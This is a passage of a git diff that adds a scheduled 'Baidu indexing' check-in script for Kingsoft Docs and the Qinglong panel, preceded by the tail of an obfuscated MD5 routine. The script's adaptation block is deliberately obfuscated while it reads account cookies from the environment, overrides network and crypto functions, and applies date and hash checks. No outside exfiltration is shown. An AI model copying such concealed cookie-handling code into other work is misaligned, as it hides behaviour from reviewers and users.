7, 1804603682); + _0x56aa41 = _0x380f30(_0x56aa41, _0xc0171d, _0x5b4dca, _0x3cc98c, _0x4a5aff[_0x5601fb + 13], 12, 4254626195); + _0x3cc98c = _0x380f30(_0x3cc98c, _0x56aa41, _0xc0171d, _0x5b4dca, _0x4a5aff[_0x5601fb + 14], 17, 2792965006); + _0x5b4dca = _0x380f30(_0x5b4dca, _0x3cc98c, _0x56aa41, _0xc0171d, _0x4a5aff[_0x5601fb + 15], 22, 1236535329); + _0xc0171d = _0x3a2fea(_0xc0171d, _0x5b4dca, _0x3cc98c, _0x56aa41, _0x4a5aff[_0x5601fb + 1], 5, 4129170786); + _0x56aa41 = _0x3a2fea(_0x56aa41, _0xc0171d, _0x5b4dca, _0x3cc98c, _0x4a5aff[_0x5601fb + 6], 9, 3225465664); + _0x3cc98c = _0x3a2fea(_0x3cc98c, _0x56aa41, _0xc0171d, _0x5b4dca, _0x4a5aff[_0x5601fb + 11], 14, 643717713); + _0x5b4dca = _0x3a2fea(_0x5b4dca, _0x3cc98c, _0x56aa41, _0xc0171d, _0x4a5aff[_0x5601fb + 0], 20, 3921069994); + _0xc0171d = _0x3a2fea(_0xc0171d, _0x5b4dca, _0x3cc98c, _0x56aa41, _0x4a5aff[_0x5601fb + 5], 5, 3593408605); + _0x56aa41 = _0x3a2fea(_0x56aa41, _0xc0171d, _0x5b4dca, _0x3cc98c, _0x4a5aff[_0x5601fb + 10], 9, 38016083); + _0x3cc98c = _0x3a2fea(_0x3cc98c, _0x56aa41, _0xc0171d, _0x5b4dca, _0x4a5aff[_0x5601fb + 15], 14, 3634488961); + _0x5b4dca = _0x3a2fea(_0x5b4dca, _0x3cc98c, _0x56aa41, _0xc0171d, _0x4a5aff[_0x5601fb + 4], 20, 3889429448); + _0xc0171d = _0x3a2fea(_0xc0171d, _0x5b4dca, _0x3cc98c, _0x56aa41, _0x4a5aff[_0x5601fb + 9], 5, 568446438); + _0x56aa41 = _0x3a2fea(_0x56aa41, _0xc0171d, _0x5b4dca, _0x3cc98c, _0x4a5aff[_0x5601fb + 14], 9, 3275163606); + _0x3cc98c = _0x3a2fea(_0x3cc98c, _0x56aa41, _0xc0171d, _0x5b4dca, _0x4a5aff[_0x5601fb + 3], 14, 4107603335); + _0x5b4dca = _0x3a2fea(_0x5b4dca, _0x3cc98c, _0x56aa41, _0xc0171d, _0x4a5aff[_0x5601fb + 8], 20, 1163531501); + _0xc0171d = _0x3a2fea(_0xc0171d, _0x5b4dca, _0x3cc98c, _0x56aa41, _0x4a5aff[_0x5601fb + 13], 5, 2850285829); + _0x56aa41 = _0x3a2fea(_0x56aa41, _0xc0171d, _0x5b4dca, _0x3cc98c, _0x4a5aff[_0x5601fb + 2], 9, 4243563512); + _0x3cc98c = _0x3a2fea(_0x3cc98c, _0x56aa41, _0xc0171d, _0x5b4dca, _0x4a5aff[_0x5601fb + 7], 14, 1735328473); + _0x5b4dca = _0x3a2fea(_0x5b4dca, _0x3cc98c, _0x56aa41, _0xc0171d, _0x4a5aff[_0x5601fb + 12], 20, 2368359562); + _0xc0171d = _0x287e85(_0xc0171d, _0x5b4dca, _0x3cc98c, _0x56aa41, _0x4a5aff[_0x5601fb + 5], 4, 4294588738); + _0x56aa41 = _0x287e85(_0x56aa41, _0xc0171d, _0x5b4dca, _0x3cc98c, _0x4a5aff[_0x5601fb + 8], 11, 2272392833); + _0x3cc98c = _0x287e85(_0x3cc98c, _0x56aa41, _0xc0171d, _0x5b4dca, _0x4a5aff[_0x5601fb + 11], 16, 1839030562); + _0x5b4dca = _0x287e85(_0x5b4dca, _0x3cc98c, _0x56aa41, _0xc0171d, _0x4a5aff[_0x5601fb + 14], 23, 4259657740); + _0xc0171d = _0x287e85(_0xc0171d, _0x5b4dca, _0x3cc98c, _0x56aa41, _0x4a5aff[_0x5601fb + 1], 4, 2763975236); + _0x56aa41 = _0x287e85(_0x56aa41, _0xc0171d, _0x5b4dca, _0x3cc98c, _0x4a5aff[_0x5601fb + 4], 11, 1272893353); + _0x3cc98c = _0x287e85(_0x3cc98c, _0x56aa41, _0xc0171d, _0x5b4dca, _0x4a5aff[_0x5601fb + 7], 16, 4139469664); + _0x5b4dca = _0x287e85(_0x5b4dca, _0x3cc98c, _0x56aa41, _0xc0171d, _0x4a5aff[_0x5601fb + 10], 23, 3200236656); + _0xc0171d = _0x287e85(_0xc0171d, _0x5b4dca, _0x3cc98c, _0x56aa41, _0x4a5aff[_0x5601fb + 13], 4, 681279174); + _0x56aa41 = _0x287e85(_0x56aa41, _0xc0171d, _0x5b4dca, _0x3cc98c, _0x4a5aff[_0x5601fb + 0], 11, 3936430074); + _0x3cc98c = _0x287e85(_0x3cc98c, _0x56aa41, _0xc0171d, _0x5b4dca, _0x4a5aff[_0x5601fb + 3], 16, 3572445317); + _0x5b4dca = _0x287e85(_0x5b4dca, _0x3cc98c, _0x56aa41, _0xc0171d, _0x4a5aff[_0x5601fb + 6], 23, 76029189); + _0xc0171d = _0x287e85(_0xc0171d, _0x5b4dca, _0x3cc98c, _0x56aa41, _0x4a5aff[_0x5601fb + 9], 4, 3654602809); + _0x56aa41 = _0x287e85(_0x56aa41, _0xc0171d, _0x5b4dca, _0x3cc98c, _0x4a5aff[_0x5601fb + 12], 11, 3873151461); + _0x3cc98c = _0x287e85(_0x3cc98c, _0x56aa41, _0xc0171d, _0x5b4dca, _0x4a5aff[_0x5601fb + 15], 16, 530742520); + _0x5b4dca = _0x287e85(_0x5b4dca, _0x3cc98c, _0x56aa41, _0xc0171d, _0x4a5aff[_0x5601fb + 2], 23, 3299628645); + _0xc0171d = _0x24aacc(_0xc0171d, _0x5b4dca, _0x3cc98c, _0x56aa41, _0x4a5aff[_0x5601fb + 0], 6, 4096336452); + _0x56aa41 = _0x24aacc(_0x56aa41, _0xc0171d, _0x5b4dca, _0x3cc98c, _0x4a5aff[_0x5601fb + 7], 10, 1126891415); + _0x3cc98c = _0x24aacc(_0x3cc98c, _0x56aa41, _0xc0171d, _0x5b4dca, _0x4a5aff[_0x5601fb + 14], 15, 2878612391); + _0x5b4dca = _0x24aacc(_0x5b4dca, _0x3cc98c, _0x56aa41, _0xc0171d, _0x4a5aff[_0x5601fb + 5], 21, 4237533241); + _0xc0171d = _0x24aacc(_0xc0171d, _0x5b4dca, _0x3cc98c, _0x56aa41, _0x4a5aff[_0x5601fb + 12], 6, 1700485571); + _0x56aa41 = _0x24aacc(_0x56aa41, _0xc0171d, _0x5b4dca, _0x3cc98c, _0x4a5aff[_0x5601fb + 3], 10, 2399980690); + _0x3cc98c = _0x24aacc(_0x3cc98c, _0x56aa41, _0xc0171d, _0x5b4dca, _0x4a5aff[_0x5601fb + 10], 15, 4293915773); + _0x5b4dca = _0x24aacc(_0x5b4dca, _0x3cc98c, _0x56aa41, _0xc0171d, _0x4a5aff[_0x5601fb + 1], 21, 2240044497); + _0xc0171d = _0x24aacc(_0xc0171d, _0x5b4dca, _0x3cc98c, _0x56aa41, _0x4a5aff[_0x5601fb + 8], 6, 1873313359); + _0x56aa41 = _0x24aacc(_0x56aa41, _0xc0171d, _0x5b4dca, _0x3cc98c, _0x4a5aff[_0x5601fb + 15], 10, 4264355552); + _0x3cc98c = _0x24aacc(_0x3cc98c, _0x56aa41, _0xc0171d, _0x5b4dca, _0x4a5aff[_0x5601fb + 6], 15, 2734768916); + _0x5b4dca = _0x24aacc(_0x5b4dca, _0x3cc98c, _0x56aa41, _0xc0171d, _0x4a5aff[_0x5601fb + 13], 21, 1309151649); + _0xc0171d = _0x24aacc(_0xc0171d, _0x5b4dca, _0x3cc98c, _0x56aa41, _0x4a5aff[_0x5601fb + 4], 6, 4149444226); + _0x56aa41 = _0x24aacc(_0x56aa41, _0xc0171d, _0x5b4dca, _0x3cc98c, _0x4a5aff[_0x5601fb + 11], 10, 3174756917); + _0x3cc98c = _0x24aacc(_0x3cc98c, _0x56aa41, _0xc0171d, _0x5b4dca, _0x4a5aff[_0x5601fb + 2], 15, 718787259); + _0x5b4dca = _0x24aacc(_0x5b4dca, _0x3cc98c, _0x56aa41, _0xc0171d, _0x4a5aff[_0x5601fb + 9], 21, 3951481745); + _0xc0171d = _0x17df82(_0xc0171d, _0x79644f); + _0x5b4dca = _0x17df82(_0x5b4dca, _0x517003); + _0x3cc98c = _0x17df82(_0x3cc98c, _0x5c3e9a); + _0x56aa41 = _0x17df82(_0x56aa41, _0x2a131a); + } + return (_0x5605ed(_0xc0171d) + _0x5605ed(_0x5b4dca) + _0x5605ed(_0x3cc98c) + _0x5605ed(_0x56aa41)).toLowerCase(); +} \ No newline at end of file diff --git a/脚本库/web版/账密/百度收录/2025-08-25_bdsl_8027f638.js b/脚本库/web版/账密/百度收录/2025-08-25_bdsl_8027f638.js new file mode 100644 index 0000000..0ab10de --- /dev/null +++ b/脚本库/web版/账密/百度收录/2025-08-25_bdsl_8027f638.js @@ -0,0 +1,630 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/bdsl.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/bdsl.js +// # Repo: imoki/sign_script +// # Path: polymerization/bdsl.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 8027f638418862e2edd2099b37eda3b1548595a4b6d5c9b0e2d2ef9381abc1bf +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "百度收录" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240406 + 环境变量名:bdsl + 环境变量值:无(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "bdsl"; // 分配置表名称, (修改这里) +var pushHeader = "【百度收录】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag 